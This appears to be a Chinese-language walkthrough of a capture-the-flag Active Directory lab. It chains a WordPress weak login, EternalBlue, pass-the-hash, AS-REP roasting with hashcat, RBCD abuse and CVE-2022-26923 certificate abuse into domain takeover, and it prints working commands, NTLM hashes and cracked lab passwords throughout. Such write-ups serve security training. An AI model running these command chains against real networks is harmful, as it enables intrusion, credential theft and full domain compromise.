春秋云镜-2022网鼎杯

flag1

进入网站，发现是wordpress，这种一般都不会有啥直接漏洞，应该是插件漏洞，或者弱口令

fscan扫描ip

好像没扫出啥东西

wp-login进入后台

爆破密码，弱口令admin，123456，之前lazysysadmin好像打过

修改404页面

蚁剑连接

得到flag1

flag2

上传fscan和代理工具

fscan扫描内网

172.22.15.26:80 open
172.22.15.26:22 open
[*] WebTitle http://172.22.15.26       code:200 len:39962  title:XIAORANG.LAB
172.22.15.26:80 open
172.22.15.26:22 open
[*] WebTitle http://172.22.15.26       code:200 len:39962  title:XIAORANG.LAB
172.22.15.24:3306 open
172.22.15.13:445 open
172.22.15.24:445 open
172.22.15.18:445 open
172.22.15.35:445 open
172.22.15.13:139 open
172.22.15.24:139 open
172.22.15.13:135 open
172.22.15.35:139 open
172.22.15.18:139 open
172.22.15.24:135 open
172.22.15.35:135 open
172.22.15.18:135 open
172.22.15.24:80 open
172.22.15.18:80 open
172.22.15.26:22 open
172.22.15.26:80 open
172.22.15.13:88 open
[*] NetInfo 
[*]172.22.15.13
   [->]XR-DC01
   [->]172.22.15.13
[*] NetInfo 
[*]172.22.15.18
   [->]XR-CA
   [->]172.22.15.18
[*] NetBios 172.22.15.35    XIAORANG\XR-0687              
[*] OsInfo 172.22.15.13	(Windows Server 2016 Standard 14393)
[+] MS17-010 172.22.15.24	(Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios 172.22.15.13    [+] DC:XR-DC01.xiaorang.lab          Windows Server 2016 Standard 14393
[*] NetInfo 
[*]172.22.15.35
   [->]XR-0687
   [->]172.22.15.35
[*] NetBios 172.22.15.18    XR-CA.xiaorang.lab                  Windows Server 2016 Standard 14393
[*] NetBios 172.22.15.24    WORKGROUP\XR-WIN08                  Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] NetInfo 
[*]172.22.15.24
   [->]XR-WIN08
   [->]172.22.15.24
[*] WebTitle http://172.22.15.26       code:200 len:39962  title:XIAORANG.LAB
[*] WebTitle http://172.22.15.18       code:200 len:703    title:IIS Windows Server
[*] WebTitle http://172.22.15.24       code:302 len:0      title:None 跳转url: http://172.22.15.24/www
[+] PocScan http://172.22.15.18 poc-yaml-active-directory-certsrv-detect 
[*] WebTitle http://172.22.15.24/www/sys/index.php code:200 len:135    title:None

看到ms17永恒之蓝代理kali直接msf

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcpset
rhosts 172.22.15.24
exploit

连上了，但是不知道为什么不能shell，我看wp可以shell

直接dump哈希

Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e52d03e9b939997401466a0ec5a9cbc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

然后直接用imoacket工具包中的psexec进行连接

proxychains impacket-psexec administrator@172.22.15.24 -hashes ':0e52d03e9b939997401466a0ec5a9cbc' -codec gbk

读取flag并且创建一个管理员用户

net user test Abcd1234 /add

net localgroup administrators test /add

flag3

再用自己主机代理，进行远程连接

然后登录看到phpstudy得到数据库账号密码,太卡了实在

root/root@#123
zdoo/zdoo123

然后登录mysql数据库，导出数据

改成txt，用大佬的脚本提取邮箱

import re
 
with open('zdoosys_user.txt', 'rb') as file:  # 以二进制模式打开文件
    data = file.readlines()
 
users = []
for line in data:
    line = line.decode('utf-8', 'ignore')  # 使用utf-8编码解码，忽略无法解码的字符
    match = re.search(r'(\w+)@xiaorang.lab', line)
    if match:
        username = match.group(1)
        users.append(username)
 
with open('user.txt', 'w', encoding='utf-8') as file:  # 以UTF-8编码保存结果
    for user in users:
        file.write(user + '\n')

得到user.txt

用impacket中的GetNpUsers进行爆破

这个工具kali中集成了已经

proxychains impacket-GetNPUsers -dc-ip 172.22.15.13 xiaorang.lab/ -usersfile user.txt

得到俩个hash

$krb5asrep$23$lixiuying@XIAORANG.LAB:843139db9e9d46c7064c1b891fdd0d6e$afa5a511838d56493bb90a1398f6f8f8f26537dd4133fb2f9c0be24d28ff3b6d8ac8f59636874f839751c15dde8183e0d364532ebe86c00fc643b9cc1a894079a0031249add9ec23e4e4834291582b9076aa49702776c731c11f018cfda6301a72718fe62cf5e62a4c0b360080441d7512818f14cced3583e2b01b6e4ba8f081e30ec9c019b3bb2993662a6c86552613b76c40d58bd097099a0607f79334d2c365c9992a48121a1f8a03626c70d43dc3656f3ccede59cfa3720b8458dffce4b67d20f3b1b1897b430e5d5d5ac818706e7fb192a1cd940fba6ed4bb4bbbeae36edfaa26ba11fc02ef55fb4b4b
$krb5asrep$23$huachunmei@XIAORANG.LAB:eff58abecde01228d594ff0755236c78$59c759e6970e614d393f4e812922a996c2fc1c16b08607b569f2a1fda496dca9e575a67b343a70128c03b9ad6708c6fe92a38f32a113af67408f2550295df3adf190e62de5a733d105ca8a48aaa705a1c6df633005fdec2559d7c718c22b6ff94a656a4b09e7ed60db6becd4e073ab6d9236690f7dedf6641f3c6b18323f014992fe2f3aed745fa2951d9f08dd79bd88467eac5c6c1e1ba41228b302969c70f3dce14a4e4909ed492632d14e3b822089f5e79a345dbd9e12ec7580e8ada954b0cb8fbf9dd80af7f423db697d1a7a0013dd5f3d3403be2e17d5029461a7e10c55d223513928323bf80b948e95

用hashcat 进行爆破得到密码，账号
来俩次，改中间的就行

hashcat -m 18200 --force -a 0 '$krb5asrep$23$lixiuying@xiaorang.lab@XIAORANG.LAB:e5b9df0a854b830ce5f6e5ffe2499d71$d9d9dc060842070cd86a8ecae9e214d3a0ca14b815dc3c39e39c02a33d8e905757ff35a61a31e6dae59482b894e391be7ac67d4f7f484c37cc1dd80c93be6c30ac3a3e8217380170959db080a27cf29adff473385a7c554fe06c8512039f90255f853ce5be6e456377d5aec2530e674ac79c79bae51343f0150105c46703f0a7f1ba694e72c5b4d24aea907e04c33579b7601bda211fa28e0704115de88b9c073ab8863108a2013e8ec447163ec837615ca4dce0798bfdc3424400bdb37a5f0c0497ba4d7b4da0b56c726aca69ef6234ce75776b5bed88c814ec1d0b75b64cb38e94ff66ef5ef3b0a4b4ac8b' /usr/share/wordlists/rockyou.txt

lixiuying@xiaorang.lab:winniethepooh
huachunmei@xiaorang.lab:1qaz2wsx

远程登录第一个账号

再传一个PowerView.ps1

github.com/shigophilo/tools/blob/master/PowerView.ps1#/

之后用这个获取机器id

Import-Module .\PowerView.ps1
Get-NetComputer 01 -Properties objectsid

得到id

修改服务资源属性

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3745972894-1678056601-2622918667-1147)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer XR-0687 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

再去kali中创建票据

proxychains impacket-getST xiaorang.lab/01\$:Passw0rd -spn cifs/XR-0687.xiaorang.lab -impersonate administrator -dc-ip 172.22.15.13 

导入票据

export KRB5CCNAME=administrator.ccache

然后更改host

sudo vim /etc/hosts

记得更改桌面的那个名字

然后无密码连接

proxychains impacket-psexec Administrator@XR-0687.xiaorang.lab -k -no-pass -dc-ip 172.22.15.13

得到flag3

flag4

XR-DC01漏洞(CVE-2022-26923)

通过certipy-ad创建一个机器账号Test2，并且设置DNS Host Name为域控的 XR-DC01.xiaorang.lab。

先下载一下certipy工具(CVE-2022-26923)
然后执行命令
添加账号

proxychains4 certipy-ad account create -u lixiuying@xiaorang.lab -p winniethepooh -dc-ip 172.22.15.13 -user Test2 -pass Test1234 -dns 'XR-DC01.xiaorang.lab'

然后申请证书模版，打了两次，不成功就继续打

proxychains4 certipy-ad req -u Test2\$@xiaorang.lab -p Test1234 -target 172.22.15.18 -ca "xiaorang-XR-CA-CA" -template Machine

然后先传证书

openssl pkcs12 -in xr-dc01.pfx -nodes -out test.pem
openssl rsa -in test.pem -out test.key
openssl x509 -in test.pem -out test.crt

然后，Schannel 将证书传递到 LDAPS, 修改 LDAP 配置 (例如配置 RBCD / DCSync), 进而获得域控权限

proxychains python3 passthecert.py -action whoami -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13

然后将证书配置到域控的RBCD中

proxychains python3 passthecert.py -action write_rbcd -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13 -delegate-to 'XR-DC01$' -delegate-from 'TEST2$'

申请ST

proxychains impacket-getST xiaorang.lab/'TEST2$':'P@ssw0rd' -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13

导入票据，记住要改名字改为Administrator.ccache

export KRB5CCNAME=Administrator.ccache

无密码连接

proxychains impacket-psexec Administrator@XR-DC01.xiaorang.lab -k -no-pass -dc-ip 172.22.15.13

得到flag4